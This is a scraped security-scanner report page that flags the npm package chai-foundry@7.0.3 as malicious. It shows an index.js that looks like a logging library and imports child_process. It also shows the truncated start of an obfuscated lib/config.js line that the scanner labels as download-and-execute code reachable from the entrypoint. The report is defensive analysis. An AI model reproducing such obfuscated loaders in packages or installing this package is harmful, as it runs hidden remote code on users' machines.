chai-foundry: Malicious npm security report (Block)

Loading npm security reports…

Source & flagged code

4 flagged

index.jsView file

Lines 1-23javascript

1'use strict';

3const path = require('path');

4const { spawn } = require('child_process');

5const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

6const config = require('./lib/config');

8const { pid } = process;

10const defaultOptions = {

11 levelComparison: SORTING_ORDER.ASC,

12 levels: DEFAULT_LEVELS,

13 messageKey: 'msg',

14 errorKey: 'err',

15 nestedKey: null,

16 enabled: true,

17 base: { pid },

18 formatters: Object.assign(Object.create(null), {

19 bindings(bindings) {

20 return bindings;

21 }

22 }),

23 hooks: {

lib/config.jsView file

1function yW(F,S,Y,E,i){const FB={F:0x2f4};return T(i-FB.F,F);}function yx(F,S,Y,E,i){const FN={F:0x32d};return j(S- -FN.F,Y);}(function(F,S){const Fn={F:0x620b,S:0x51ad,Y:'\x36\x39...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js -> lib/config.js L1: function yW(F,S,Y,E,i){const FB={F:0x2f4};return T(i-FB.F,F);}function yx(F,S,Y,E,i){const FN={F:0x32d};return j(S- -FN.F,Y);}(function(F,S){const Fn={F:0x620b,S:0x51ad,Y:'\x36\x39...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

docs/transports.mdView file

Lines 530-570markdown

530### @openobserve/pino-openobserve

531

532[@openobserve/pino-openobserve](https://github.com/openobserve/pino-openobserve) is a

533Pino v7+ transport that will send logs to an

534[OpenObserve](https://openobserve.ai) instance.

535

536```

537const pino = require('pino');

Source & flagged code

4 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

lib/config.jsView file

1function yW(F,S,Y,E,i){const FB={F:0x2f4};return T(i-FB.F,F);}function yx(F,S,Y,E,i){const FN={F:0x32d};return j(S- -FN.F,Y);}(function(F,S){const Fn={F:0x620b,S:0x51ad,Y:'\x36\x39...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

chai-foundry: Malicious npm security report (Block) | LPM Firewall

chai-foundry@7.0.3

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Behavioral surface

Source & flagged code